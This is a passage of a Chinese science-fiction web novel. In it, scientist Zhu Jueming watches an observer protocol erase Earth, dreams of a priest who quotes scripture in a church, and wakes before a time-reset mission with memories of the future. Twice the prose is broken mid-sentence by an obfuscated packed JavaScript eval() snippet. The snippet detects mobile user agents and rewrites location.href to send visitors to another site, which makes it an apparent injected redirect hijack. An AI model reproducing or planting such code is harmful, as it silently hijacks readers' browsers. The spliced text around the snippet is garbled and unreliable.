“样本编号:HCJ-ZJM复合体。递交形式:主动趋近,非催化引导。” “能量谱分析……异常。意识协同度……无法解析。情感熵值……极端矛盾,悖论态。” “根据协议第七章,启动因果律层面复核。” “复核逻辑链:递交动机存疑,递交载体不稳定,递交内容与预设文明完美样本偏差过大。” “结论:当前递交无效。触发格式化保护机制。” “启动:因果重置程序。” “目标时间锚点:任务起始前168小时。” “重置范围:太阳系内所有智慧意识节点。” “警告:重置将抹除当前时间线全部衍生事件及记忆。唯一豁免项:高维意识共鸣体(乱码)的局部状态烙印,及与其深度纠缠的观测节点(错误)的因果负累。” “倒计时:3……” 祝觉明猛地睁大眼。 他终于听懂了。 不是观测者在审判人类,是人类自己用这场漏洞百出的作弊表演触发了宇宙过滤程序的自动纠错机制;火种计划所谓的递交答案,在更高维的法则眼里不过是一段错误代码、一个需要被重启修复的bug。 而他和怀从咎,就是bug的核心。 怀从咎似乎也听见了。他环在祝觉明腰侧的手臂骤然收紧,灼痕的金光疯狂闪烁,试图对抗那从四面八方涌来的无形无质却沛然莫御的格式化力量;但就像螳臂当车,金光在恒星的光芒里迅速黯淡、消散,如悬河注火、沃汤沐雪。 “2……” 祝觉明低下头,额头抵上怀从咎的肩胛;他的呼吸已经微弱到停止,体温在真空中急速流失,但贴靠的触感依然滚烫。 “我的长官……”他的意识连接断断续续,像信号不良的通讯,“这次我好像……真的……带不了你回家了……” 怀从咎想说话,但喉咙里只有血沫翻涌的咕噜声;祝觉明抬起还能动的右手摸索着,覆上怀从咎扣在他腰间的手背。 指尖触到皮肤,触到紧绷的指节,触到那些新鲜的灼伤和旧的茧。 他轻轻握了一下。 很轻的一下。几乎不算是握,只是短暂的贴合。 但怀从咎感觉到了。 他极轻地笑了一声。气息喷在祝觉明颈侧,带着血的味道。 “1。” “重置。” 时间坍缩。 倒退、回流,所有事件、所有因果、所有在这条时间线上诞生的可能性……被一股无可抗拒的力量从现在这个节点强行爆烈的剥离,像撕下一张写满错误的稿纸,揉碎、丢弃。 祝觉明感觉自己被抛进了一个没有维度、没有参照的绝对虚无。看不见,听不见,触不到……只有意识还在徒劳地挣扎。 但在那挣扎的缝隙里,一些碎片强行嵌了进来—— 他看见地球。 那颗蓝白色的行星此刻被一层诡异的、蠕动的暗金色薄膜包裹,所过之处海洋蒸发、大陆板块如融化的蜡般扭曲,大气层被撕成缕缕苍白的絮状物,飘散向深空。没有爆炸,没有火光,只有彻底寂静的抹除;像用橡皮擦掉铅笔草图,留下宇宙背景布上的一片空白。 他以为他们最后的结果是宇宙大爆炸,但静默显然比爆炸更惨烈,这是令人扼腕的悲哀。 七十亿人的悲鸣,三万年的文明史,所有爱恨情仇与创造挣扎……就在那毁灭拂过的瞬间归于绝对的无。 而在其中心、太阳表面,一道庞大到超越视觉理解范围的日珥缓缓收回;物质喷流末端一点微弱的、熟悉的金光正在被吸收,是怀从咎灼痕最后残留的能量印记。 以及附着在那印记上的、属于祝觉明的一缕意识残渣。 观测者没有情感,没有善恶,只有执行协议。 格式化完成。 20. 去轮回中 “从前耶和华给你起名叫青橄榄树,又华美又结好果子;如今他用开嚷之声,点火在其上,枝子也被折断。” 祝觉明在模模糊糊中听见教堂钟声,呼唤他醒来。 “棋局未终,然棋盘已碎; 执子者坠入轮回,观棋者阖目叹息。 唯有恒星依旧燃烧,默待下一局; 于灰烬中重燃的,是更炽烈的火, 还是更深刻的痂?” 似乎在教堂中。 有何人向他走来。 足音沉缓,踏过石砌长廊的回音层层叠叠,像往深井里投下石子;每一步的间隔都不是活人的节奏,是钟摆、是节拍器,是庞大机械内部齿轮咬合的余韵……祝觉明想睁开眼,但眼皮重得像是被铅水浇铸过;他感觉自己躺在一张坚硬的长椅上,后背抵着冷硬的木头,颈下空悬,只有后脑枕着的那一点凸起提供着微不足道的支撑。 陈年木头、融蜡与尘埃的气味几乎被时间腌入石缝的气味,无数祈祷、叹息、乃至无声哭泣沉淀后留下苦杏仁与旧纸混合的属于信仰的淡薄;祝觉明感觉自己动不了,而足音停在他身侧。 “你累了。” 声音苍老,温和,像浸过蜂蜜的羊皮纸擦过耳廓;祝觉明想知道这是谁,现在似乎是薄暮时分、而那人独自站在祭坛前、用平稳语调宣告颠倒混沌。此刻那声音离得很近,近到能听见喉间气息流动时细微的摩擦,像秋风拂过枯草。 一只手落在他额头上,粗糙的布满茧与沟壑;温度却异常暖,暖得让祝觉明想起幼时冬日裹着毛毯靠近壁炉时脸颊触碰到的玻璃的温热。那只手停留了三秒,然后移开,带走了些许沉坠感;祝觉明终于能模模糊糊睁开眼,彩绘玻璃的光斑落在他脸上,红的是圣徒的血、蓝的是圣母的袍,绿的是伊甸园的叶。光线失焦,交融成一片朦胧的虹晕,将上方肋拱交错的阴影衬得愈发深邃;他微微偏头,看见神父站在长椅旁,穿着洗得发白的亚麻长袍,袖口挽到手肘、露出枯瘦但筋骨分明的小臂。 神父没有看他,目光落在祭坛的方向。那里烛火安静燃烧,七八支的样子,焰心稳定得不像在风中摇曳。 “这是哪里?”祝觉明想问,想试图坐起身;脊椎传来僵直的钝痛,仿佛这具身体已经以这个姿势躺了太久,久到骨骼开始抗议,“我为什么不能发出声音?” “你心里知道的。”神父终于转过头,面庞上沟壑被烛光从侧面照亮,一半明亮如鎏金、一半沉入阴影如深谷。他的眼睛很清亮,像潭水经过百年沉淀后剔除了所有杂质的透彻,“你只是不肯认。” 祝觉明觉得自己似乎终于撑着手肘坐起来,长椅的木纹在触感下清晰可辨、每一道起伏都像地图上的等高线,标记着树木生长期的旱涝与风雪。他低头看自己的左手,无名指上那枚铂金戒指还在,表面裂纹密布,像蛛网封住了底下蛰伏的光。他转动戒指,金属边缘刮过皮肤,带来熟悉的存在的疼痛。 “我应该在飞船上。”他想向自己确认,“和怀从咎在一起。靠近近日点。太阳在唱歌。” 神父缓缓走向祭坛,步伐依然沉缓,袍摆拂过石砖,发出沙沙的轻响;他在烛台前停下,伸手调整一支略微歪斜的蜡烛,动作轻柔得像在扶正熟睡婴儿的脸。 “太阳一直在唱歌。”神父背对着他,声音在空旷的教堂里荡开微弱的回音,“从起初到现在。只是有些人听得见,有些人假装听不见,还有些人听见了,却把它编进自己的剧本里、当作背景音乐。” 他听得见自己所想? 祝觉明的呼吸滞了一瞬。他看向神父的背影,那背影在烛光中显得单薄,却奇异地撑起了整片穹顶的阴影。 自己真的上天堂了? 这是上帝?? “您知道多少?” 神父没有立刻回答。他拿起一块软布,开始擦拭烛台铜座上的积尘;布料摩擦金属的声音规律而绵长,像古老的诵经调。 “我知道李素华来问我,她丈夫的死是不是白费。”神父慢慢地回答,“我知道陈启那孩子作训服的纽扣边缘磨损了,因为他总在无意识摩挲它……当他担心你、或担心怀从咎的时候。我知道苏持风在文件上留下折痕时内心跳的如擂鼓,但她还是把它塞进了你的抽屉;我知道郭山错签批设备调拨单时,用的是那支他女儿送他的钢笔,笔尖有点洇墨,所以他总得多压一下。” 祝觉明安静的听着,感觉陌生。 “观测者呢?那些高维的存在,他们在看吗?在审判吗?” 神父放下软布转过身,烛光在他脸上跳跃,让那表情时而慈和如长者,时而肃穆如先知。 “我必按你们做事的结果刑罚你们;我也必使火在耶路撒冷的林中着起,将她四围所有的尽行烧灭。” 经文每个字都饱满、清晰,像经过称量的谷粒落在铜盘上;但语调与宣布他的死刑截然不同,没有悲悯的冷峻、没有宣告的沉重,只有疲倦的陈述,仿佛在复述一条早已写定的自然律。 “这不是威胁,祝觉明。”神父走回长椅边,在他对面坐下,双手交叠放在膝上,“这是描述。火会着起,因为柴已堆好;林会被烧尽,因为干旱已久。你们——你和观照,怀从咎和陈启,苏持风和郭山错,乃至地上所有欢呼或哭泣的人……都在堆柴,都在制造干旱。而火,只是必然到来的结果。” 祝觉明盯着神父的眼睛。那双眼睛里映着烛火,但更深的地方有什么在缓缓旋转;像星系,像漩涡,像他曾在怀从咎灼痕光芒中瞥见的、那些微型坍缩的宇宙。 “所以没有救赎?”祝觉明听见自己的声音发紧,如果自己能开口的话,“没有……例外?” 神父笑了。笑容很淡,像水面的涟漪,一荡即平。 “例外一直在发生。李素华为她丈夫点了一支烛,光虽弱,却真实。陈启在模拟训练中,每一次操作都是对必然牺牲这条脚本的微小偏离;苏持风递出那份文件,是在她自己的恐惧与良知的旱地上,勉强挤出的一滴活水。”神父身体前倾,目光如凿,“而你在舱外,戒指过载的那一刻,你第一反应不是计算生存概率,是恐惧怀从咎会死……” ——那一刻你跳出了模型。 祝觉明避开他的视线。左手戒指的裂纹深处似乎有蓝光极微弱地闪了一下,快得像错觉。 “那不够。”他低声,“改变不了结果。太阳风还在逼近,飞船还在轨道上,炸弹……终将被引爆。怀从咎可能会死。陈启可能会死。我可能——” “你可能回不去。”神父接过话,语气平和,“你可能成为英雄,也可能成为叛徒,可能被铭记,也可能被抹去。但这些,都是结果。而我要问你的,是原因。” 神父站起身走向彩绘玻璃窗。窗外没有日光,只有深沉的夜;但玻璃仿佛蓄着光,圣徒的面容在黑暗中幽幽发亮。 “你设计近日点号任务,真正的原因是什么?是为了拯救七十亿人,还是为了验证你的理论?是为了给文明续命,还是为了在宇宙的考卷上,替人类写下一个漂亮的答案?”神父没有回头,声音空荡渺远,“你选择怀从咎,是因为他的直觉能补足模型的缺口,还是因为你在火星报告上见过那个代号、你知道他颈上的灼痕因何而来?你心底的角落想借这次任务,把欠他的那句谢谢或对不起,用另一种方式还上?” 长椅的木头在祝觉明掌下发出细微的呻吟。他想起梦的碎片——火星的红土,坍塌的穹顶,那只伸向他的手,还有那句隔着面罩、被失真处理却依旧狠厉的撑住……记忆像深水下的冰山缓缓上浮,撞碎他多年来用理性筑起的冰层、直至他再无路可退,无城池可守。 “我不知道。”他最终垂眸,“也许都是。” 神父转过身,没有评判,只有深长的理解。 “人总是这样。最干净的动机和最浑浊的欲望、最无私的奉献和最隐秘的补偿,混在一起揉成团,就成了你们所谓的计划、使命、牺牲。”神父走回祭坛,从抽屉里取出一本厚重的皮面圣经,搁在台面上,却没有翻开,“但宇宙——或者你们说的观测者——不看这团混合物。他们只看其中纯粹的成分:你恐惧时,恐惧有多真;你保护时,保护有多决;你爱时……爱有多深。” 爱。 祝觉明被这个词刺了一下。他想起怀从咎在舱外挣扎时,自己胃里那只冰冷的手;想起陈启低头缠绑带时,后颈细软的发梢;想起苏持风通讯切断前,那句压抑的“博士,这不是漏洞”……这些感受如此陌生,如此汹涌,与他熟悉的数据流、概率曲线格格不入。 “我不擅长这个。”他更像自言自语,“我怎么会爱呢?” “没有人天生擅长。”神父在祭坛台阶上坐下,姿态放松得像在自家炉火边,“但你们在学。怀从咎学著用他的直觉,不光为了生存,也为了护住身后的人。陈启学着承担重量,不光因为命令,也因为信任。苏持风学着在制度的缝隙里,塞进一点人的温度。” 神父看向他,目光沉静,让他恍然觉得自己已经死了,此刻只不过身在梦中。 仿佛他要在剧痛中醒来。 外伤与更深层源于存在的撕裂鞭笞他的骨血、他的灵魂被硬生生从刚凝固的水泥里挖出,带着无数粘连的未干的碎屑。 他会躺在熟悉的休息舱床上。 舱内照明维持在最低档的柔光模式,空气循环系统发出平稳的低鸣,营养液供给口闪着待机的绿光;一切都和之前一模一样,任务开始前,陈启还活着、怀从咎还在隔壁舱室熟睡,太阳危机尚未真正降临,火种计划仍包裹在层层谎言里等待揭晓。 除了两件事。 第一,他左手无名指根部那个焦黑的烙印,此刻正散发着微弱却持久的灼热;像一块嵌入皮肉的永不冷却的炭,要提醒他将做什么。 什么是完美呢,什么是令人拍案叫绝交口称赞呢…… 他不知道。 第二,他的脑海里塞满了未来的记忆;模糊的预感与零碎的梦境都完整清晰的带着每一个细节和每一次痛楚的全部经历,从训练争执到陈启牺牲,从他交出性命到到怀从咎挟持他冲向太阳、从真相到到观测者低语,到地球抹除、到因果重置…… 以及最后那片虚无中强行烙进他意识深处的来自观测者协议第七章的完整条文: “因果重置为终极纠错手段。重置后唯一可保留的错误数据为引发重置的核心悖论节点之状态烙印。该烙印将作为负累,由与该节点深度纠缠的最近观测者承载,直至该观测者于新时间线内,通过行为修正消解悖论,或自身存在被彻底格式化。” “此过程称为:业力轮回。” 于时间尽头重写文明。 然文明已烬,独余一人,携业火、负轮回,再入局。 此局名觉明为咎, 此路名万死无归。 ……谁又在他耳边吟唱? “而你,祝觉明,你在学着把人——活生生的、会痛会怕会犯错的人——放进你的公式里。不是作为变量,是作为前提。” 教堂陷入寂静。远处似乎有钟声,但很渺茫,像从另一个世界传来;烛火偶尔噼啪一声,炸开细小的星点。 祝觉明低头看自己的手。绷带已经拆了,皮肤上留下一圈淡粉色的痕迹,围着无名指根部、像一枚粗糙的戒指;他转动铂金指环,裂纹刮过新生的嫩肉,带来清晰的痛。 这些是真实的吗? 什么才是他的真实? “如果……”他抬眼,“如果我继续往前。如果我真的把炸弹送到近日点,真的试图偏转那场抛射——哪怕成功率只有零点零零零……那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174325|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零。这算堆柴,还是算灭火?” 神父沉默了很久。久到祝觉明以为他不会回答,久到烛火都似乎黯了一度。 好像自己慢慢坐起身,动作牵动左手的烙印、剧痛让自己眼前发黑;只要他低头,看着那圈焦黑的皮肤、看着它在柔光下泛着暗沉的光泽…… 就能看见下一次选择。 然后自己抬眼看向舱壁上内置的显示屏。 日期和时间跳动着。 任务起始前,167小时,59分钟,42秒。 倒计时重新开始。 而这一次,只有他记得一切。 “一粒麦子不落在地里死了,仍旧是一粒;若是死了,就结出许多子粒来。” 经文再次响起,但这次神父的语调变了;那里面有温柔的悲悯,像在讲述一个孩子如何笨拙地试图用打火石点燃湿柴、指节磕破了,眼泪在打转,却固执地不肯停。 “你们不是燃料,祝觉明。你活着,你会生长……你会结果子。但当你们——当人类——需要火时,你们学会了摩擦,学会了聚焦……学会了从本身榨取光与热。”神父缓缓站起,走到他面前俯身,双手按在长椅靠背上,将他笼罩在一片混合着烛烟与旧纸气息的阴影里,“你们的技术,你们的勇气,你们的牺牲……都是那摩擦。你们用文明的前途做透镜,聚焦七十亿人的恐惧与希望,试图点燃太阳——那颗最大的绿树——来为你们取暖、照亮前路、甚至烧退野兽。” 神父直起身,阴影退去,烛光重新漫上祝觉明的脸。 “所以,去吧。去做你计划的事。去引爆炸弹,去试图偏转,去和怀从咎争吵又合作,去把陈启护在身后,去和苏持风传递那些不能明说的文件。”神父的声音低下去,像耳语,却每个字都钉进意识深处,“但记住:火燃起后不再受控,它会烧掉威胁,也可能烧掉你们珍视的一切;它会照亮前路,也可能显露出你们不敢直视的渊薮。而你们点燃它的人将永远被那光与热烙下痕迹,无论□□是否存续。” 祝觉明感到左手戒指剧烈发烫。裂纹深处迸出炽白的细光,像有小型的日冕在指间爆发;疼痛尖锐,但理智无比清晰,仿佛这痛不是惩罚,是标记、是共鸣,是他与远方那颗恒星、与身旁这些同路者,与所有堆柴引火的人之间无形的连线被骤然拉紧时的震颤。 他抬起头,想再问什么——问观测者究竟是谁,问火燃起后文明能否幸存;问怀从咎锁骨上的灼痕与这戒指的裂纹之间,到底藏着什么共通的秘密——但神父已经转身走向教堂深处。袍摆拂过石砖,脚步声再次响起,沉缓、规律,渐渐融入阴影,最终消失在祭坛后方那扇小门的轮廓里。 烛火还在跳。 像舱门外传来脚步声,由远及近,轻快富有节奏;是陈启惯常的步伐,他哼着不知名的小调,停在门外敲了敲。 “博士?醒了吗?怀指挥官让我来叫您,半小时后绝密会议,关于近日点航线的最终确认。” 声音清澈,充满活力,带着对即将开始的伟大任务一无所知的纯粹的期待。 祝觉明闭上眼。 烙印在掌心灼烧,记忆在颅内嘶吼。 他想起怀从咎最后抵在他肩头的那句“带不了你回家了”,想起陈启转身走向气密舱时那个带着水光的笑;想起观测者冰冷格式化整个地球的寂静,想起那条将他判为负累承载者的协议条文。 尔后他睁开眼。 眼底所有情绪——震惊、恐惧、悲痛、悔恨……都在瞬间被压入最深层的冰封。只剩下绝对冰冷的非人的平静。 他开口,声音因刚醒来而略带沙哑,却平稳得没有一丝波澜: “知道了。告诉怀指挥官,我马上到。” 彩绘玻璃的光斑缓缓移动,从祝觉明脸上滑到胸口,再落到膝头;他独自坐在长椅上,左手无名指的疼痛逐渐平息,留下持续温吞的余热,像一块嵌入血肉的、不会冷却的炭。 窗外夜还深。 但他知道——在梦的深处知道——飞船仍在航行,太阳仍在歌唱;怀从咎或许正盯着导航图皱眉,陈启或许在检查设备,苏持风或许在加密频道前犹豫,观照或许在指挥大厅微笑。 而他自己坐在这座寂静的教堂里,坐在真实与虚幻的缝隙间、坐在所有抉择尚未落地,所有结果尚未显现的此刻。 他闭上眼。 从反抗命运的棋子到承载文明的火种。 新时间线载入。 我是青涩的橄榄果落土生枝,现在我要擎起洁净的终局,并以其引火点燃下一段新始;愿所有沉默的牺牲不被遗忘,愿所有不得已的谎言终被宽宥。 我的隐瞒与我所有以理性为名的辜负皆归于我,我接受我的知觉成为渡桥凌驾于时间湍流之上,接连此在与永在的弦音;我将步入那日冕与火的中央,我来锻铸整座园圃的期许,重新称量诺言的重度。 愿我的意念持守澄明,纵使载体逐层剥落拆解;若宿命尚存罅隙,愿我的余烬飘向未诞生的启明。 我已知晓所有辉光终将沉入静默,所有探问终会归于太初之暗;但此刻的升腾已将这易朽的形质证为完满的终结,它曾试图托举坠落的献礼、不可撤销。 请让那艘飞船抵达应去之地,请让我化作最后一道归零的算式,为后来者铺展无垠的坦途。 我不求赦免,不求纪念;我求求那真正的火燃起时,能多照亮一寸值得存续的来日、携众生抵达永续的天国。 火光已在他指间, 也在所有人心底…… ——只待风来。 在意识的最后一点清醒溃散前,他听见神父的声音从极远处传来,混着钟声余韵,像预言、像叹息,像给所有引火者的祝祷: “他为你们使绿树生火,你们就能从中燃火。” 21. 白骨初垒 设时间可诌,在t0点,祝觉明函数的连续性第一次断裂。 痛是第一个归来的坐标。 在一切尚未发生的起点,祝觉明先丢失了未来这个词的语法。 ……因为中间隔着七万次重复的死亡。 它不始于皮肉,不发于骨骼,它从意识的虚空中陡然显形、像枝蔓铺排的书凿进颅腔;祝觉明在实验台前睁开眼时,正在发生的让他感觉自己并非苏醒,反而仿佛有另一层时间从他身上被活生生撕下、边缘汹涌。 ——有些死亡是倒着长的。 耳鸣尖锐如金属断裂。视觉尚未校准,先涌入的是声音。 他所知晓的一切似乎开始以错误的时态侵袭此刻,那是将死提前蒸腾在会议室里、是已背叛的视线重量落在他翻阅数据的桌面;那更是怀从咎落在他脸上时深刻如历经万次轮回拆解后的平静到荒芜的目光语言失效。时间在他的认知里化脓。 “……协议第七章启动。样本编号(未知),观测者权限临时授予,申请者[眼?混生/界面(乱码)]。重置坐标:任务前168小时。目标:修正逻辑悖论。” 低语没有音源。它从耳道深处渗出来,平坦的齿音像在他认识之前就已在神经系统里扎下了根、于是一株逆生的树开始吸食他的血肉,寄生于灵魂之上。果实是爆炸的炽光、真空的寂静、碎裂的嘶吼……它们率先在第七日的枝头爆开,然后茎秆穿过六日、五日、四日…… 他试图理解。 这里是实验室。 环绕式数据屏流淌着光瀑,那是他亲手编写的太阳活动预测模型;一切应当如常,但有什么出错了。他的身体记得尚未发生的痛,他的肺叶记得尚未吸入的焦烟;他的视网膜上还残留着白热的、吞噬一切的强光残影。 那个本该与他初次对峙的男人不在。 那不是记忆。 这些不是梦。 记忆有逻辑,有因果,有前后相续的画面;而此刻盘踞在他感知里的,是无数断裂的瞬间堆叠成的噪音:金属扭曲的锐鸣、真空里无声爆开的血雾、怀从咎最后那个回头时骤亮的炽光…… 此刻,在会议开始前三小时,这棵树稚嫩苍白的根须第一次刺破祝觉明胃壁的黏膜,引发一阵针对尚未发生之事的剧烈反感。 祝觉明猛地弯腰,呕出一口滚烫的液体。 没有胃容物,只有暗红粘稠的血,溅在银白台面上像一滩畸形的星云;他盯着那摊血,理性模块开始启动,试图分析:食管破裂?胃溃疡?颅内压异常导致毛细血管——但更多画面砸了进来。 陈启的笑容,在尚未到来的场景里隔着宇航头盔; 苏持风转身时划过的弧线,递来的文件; 郭山错按下确认键时从哪个角度看都没有表情…… 这些画面没有时间标签。它们像被撕碎的底片,混着血腥味塞满他的喉咙。祝觉明再次呕吐,这次是纯粹生理性的痉挛;胆汁混着血丝从嘴角淌下,他撑住台面,几乎要站不住。 必须记录。 没有人搀扶他,甚至是拎着他衣领把他拖起来;祝觉明只能自己借着台面让自己尽量站住,在头晕目眩里翻翻拣拣找自己理智。 找到了。 理性在尖叫。 异常必须被量化,被观测,被纳入公式;他伸出颤抖的右手去抓触控笔,笔身从汗湿的掌心滑脱,滚到地上。他弯腰去捡,视野突然倒悬,地板迎面扑来;额头撞上合金地砖,沉闷的撞击声在颅骨内回荡。 他伏在地上,笑了。 ……光把自己传回来不管自己身上的伤是吧。 这是把自己回溯到那时候了吗,这是把那时候的自己绑架、取而代之了。 他笑声干涩,从被胃酸灼伤的喉咙里挤出来,像机械故障;他再次回忆起自己身份,祝觉明,三十五岁,天体物理学首席科学家,人类文明延续计划的理论核心。此刻这人类的希望像一具坏掉的傀儡瘫在实验室地板中央,额头抵着冰冷的地砖,一边笑一边咳出血沫。 荒谬。 但更荒谬的是当那些破碎画面在意识中翻搅时,更深层的东西正在浮起;那不是画面,是认知,他知道不是推测、不是推演,如同知晓重力常数般他绝对知晓、再过六小时四十二分钟,他将走进指挥中心的环形会议室。苏持风会站在投影仪左侧,左手无意识地反复折叠一张数据薄膜的边缘;郭山错会坐在长桌远端,在怀从咎发言时垂下眼睛看向自己的终端屏幕。陈启会期待地拽怀从咎的袖口,觉得自己要去做什么伟大的事了、因肾上腺素微微发抖。 而他,祝觉明,会说出那段早已写好的台词: “综上所述,生存概率无限接近于零。” 这句话的每一个音节此刻正躺在他舌根下,血味深重。 他撑着地面慢慢坐起,背靠实验台;呼吸逐渐平复,理性模块开始重新组装世界。第一步:确认时间。他抬起左手,腕表显示的标准时与他记忆中“会议前六小时四十二分钟”完全吻合;但他确认有矛盾——如果记忆来自未来,那么“记忆”这个词就失效了。 他需要一个新的定义。 第二步:确认外部环境。祝觉明扶着台面站起,脚步虚浮地走向全景舷窗。 窗外是近地轨道永夜,地球弧线在下方缓缓旋转、大陆轮廓被城市的灯火蚀刻成细密的金色网络。 月球基地的灯塔以稳定频率闪烁。一切如常。 不。 他的视线落在窗玻璃的倒影上。倒影里的男人脸色惨白,嘴角残留血渍,但那双眼睛——那是他自己的眼睛,虹膜在舱内照明下呈现冷调的灰蓝。可是瞳孔深处有什么东西不一样了。疲惫与恐惧,掩藏在了厚度之下,仿佛那对瞳孔后面重叠着无数双眼睛、每一双都看过不同的终结。 祝觉明转身走向卫生间。他需要清理,需要整理仪表,需要把这场发生在个体神经系统内的叛乱镇压下去,然后走进那个会议室、扮演那个冷静到残忍的拯救者。 他向来是体面的人。 拧开水龙头时,水流声盖过了他仍然紊乱的呼吸;他掬起冷水拍在脸上,血液被冲淡成粉红色、顺着下颌线滴落。他抬头看向镜面,镜中人也在看他;他们遥遥相望仿佛隔着千万年不能开口的悖论,这距离让镜像发生扭曲。他看见自己嘴角还没擦净的血渍,在镜中映出的却是怀从咎未来某日额头上那道一模一样的干涸的暗红;他看见自己无名指上平静的铂金环,镜中它却正疯狂流淌着由聂宜生姓名缩写加密而成、疯狂冲击舰载系统的提醒。 然后他还是低头看向那个。 他左手无名指上的铂金戒指,所谓的脑波抑制器,用以压制过度接触空茫数学所产生的听见宇宙背景哀鸣的副作用。 此刻它正以肉眼难以察觉的幅度高频率震颤,表面流光仿佛发生了微妙的畸变、细密的微光颗粒在戒面上重组,由图像到文字再到一串无序跳动的光点序列。 他的模块仿佛被引动般奇异的自动开始解析。 光点间隔、亮度变化、持续时间…… ——这是编码。 他从未见过的非任何人类通信协议的基础编码,但结构具有明显的智能设计特征。 他凝视着那串光流,视网膜记忆模块以最高精度记录每一帧变化。 持续三秒七四。 光流消散,戒指恢复哑光铂金的常态。 祝觉明一动不动。水还在流,哗哗作响;镜面蒙上一层细密水雾,他的面容变得模糊,只有那双眼睛仍然澄澈清晰,里面有什么东西正在凝固。 他低头看向戒指,尔后缓慢地摩挲过戒面;金属冰凉,毫无异常,但他刚才看见了:那不是幻觉,幻觉不会具备如此规整的信息结构。 O-B-S-E-R-V-E-R。 I-N-T-E-R-F-A-C-E。 N-I-E。 最后一个词组不完整,在NIE处截断。但足够提示了,祝觉明抬眼再次看向镜中的自己,水雾在镜面凝结成细小的珠帘,他的脸被切割成破碎的区块。 聂宜生。 这个名字浮出来时,他忍不住低下头笑了。 所有人都忘了这个人,仿佛被抹去了记忆;但那可是联合政府太空作战部长官,本次“救世计划”的军方最高负责人、谁会忘记那个将在六小时四十二分钟后主持会议、宣布启动近日点任务的男人? 在祝觉明此前,或者说上一次的认知里,聂宜生被遗忘到了背景板都算不上;他权威但缺乏细节、必要但无关紧要。 可那怎么可能呢。 ……谁会忘记这个人呢。 但现在,这个名字与戒指上闪烁的残缺代码重叠在一起。 绝不是巧合。 祝觉明关上水龙头。寂静骤然降临、填补了空白;他以衣袖缓慢擦拭脸上的水渍,直到每一寸肌肤都被拭干、每一根头发都被捋回原位。镜中人逐渐变回那个冷静的祝觉明,现在他只需要重新带回眼镜。 回溯之后他似乎视力好了一点,否则他绝对是看不了一点文字,完全就是模糊的、散的。 他瞳孔深处那层厚度没有消失。 他走出卫生间,回到实验室中央。数据屏上的光瀑仍然在流淌,太阳模型无声旋转、日冕物质抛射的模拟轨迹像一条缓缓抬起的火蟒,对准蓝色的星球。祝觉明站在屏幕前,看了很久;然后他调出会议议程,重新审阅、核对,议程条目与他“记忆”中完全一致。发言顺序、时间分配、与会者名单……每一个细节都吻合。这种吻合成为新的异常:如果他的意识真的发生了时间轴上的错位,携带着尚未发生的未来信息回归此刻,那么这些信息与现实的吻合度意味着什么? 意味着未来是确定的? 还是意味着他的回归也是确定的一部分? 或者,意味着这一切,他此刻的疑惑、不解、戒指上的代码……都是更大剧本里早已写好的情节? 祝觉明感到一阵轻微的眩晕,来自认知层面生理性的失衡;他的世界观建立在可观测、可量化、可预测的基石上,但现在有什么黑暗的东西从基石裂缝里渗了出来,拒绝被公式收编。 他需要数据。 更多数据。 他调出过去七十二小时内所有经过这间实验室的人员记录。清洁机器人、助理研究员、物资配送员……名单流水般滑过屏幕,没有异常;尔后他调出聂宜生的公开行程:在过去一周里,这位长官到访过轨道船坞、指挥中心、科研区…… 唯独没有进入过祝觉明实验室所在的理论建模区。 一次也没有。 那为什么戒指上的代码指认他? 祝觉明靠进座椅闭上眼,开始并行处理多个问题线程:第一自身状态是否为高维信息污染导致的认知畸变;第二如果携带的信息为真,那么时间回溯的机制与目的;第三聂宜生在其中扮演的角色,第四如何在不暴露自身异常的前提下,验证以上假设。 每一个问题都导向更多分支?更多未知。他的大脑像一台过载的量子计算机,散热风扇在颅骨内烤的他坐立难安。 恰在此时,门禁系统发出轻柔的提示音。 “祝博士,会议将在三十分钟后开始。请您前往指挥中心A区环形会议室。” 人工智能女声平稳无波。祝觉明睁开眼,屏幕上倒计时已经开始跳动: 【00:29:59。】 他起身整理制服,黑色立领外衣银线滚镶,左胸口袋上方别着身份铭牌:祝觉明,首席科学顾问。每一个细节都到位而无瑕,他走向门口,感应门滑开、走廊的冷冷白光涌进来。 踏出门的前一刻,他停顿了半秒。 他回头看了一眼实验室,数据屏的光映在瞳孔里,像两小簇冰冷的火焰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174326|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尔后他转身,走入走廊。 他的步伐金属地板上敲出稳定的节奏,他经过一扇扇舷窗、窗外星河流转;他经过其他研究员,他们点头致意,他微微颔首回应。一切都与上一次所有的记忆中相同,这种重复开始产生诡异的韵律感,仿佛他正走在一条早已铺设好的轨道上,每一个转弯、每一次抬手、每一句问候……都是轨道的必然延伸。 他讨厌必然。 指挥中心A区的双层气密门在面前滑开,环形会议室已经有人到了;长桌中央的全息投影仪正在预热,淡蓝色的光锥在空中旋转,祝觉明的视线扫过室内: 苏持风站在投影仪左侧,监察长的深灰色制服笔挺,但她没有像往常那样静止站立、而是在直径不到两米的范围内缓慢踱步;祝觉明看着她的影子,左脚、右脚,转身,再左脚,步频稳定,但她指尖一直无意识地捻着数据薄膜的一角,薄膜边缘已经起了细小的皱褶。 ……上一次有这样吗? 祝觉明自认为没有盯着同事看的习惯,特别是女同事,尤其是快四十的女同事。 因为他也三十多了,他知道这个年纪正是如果不能晋升那就浑水摸鱼、反正苟着不要让上司骂不如新人,也不要让上司觉得可以开除反正有老人的时候。 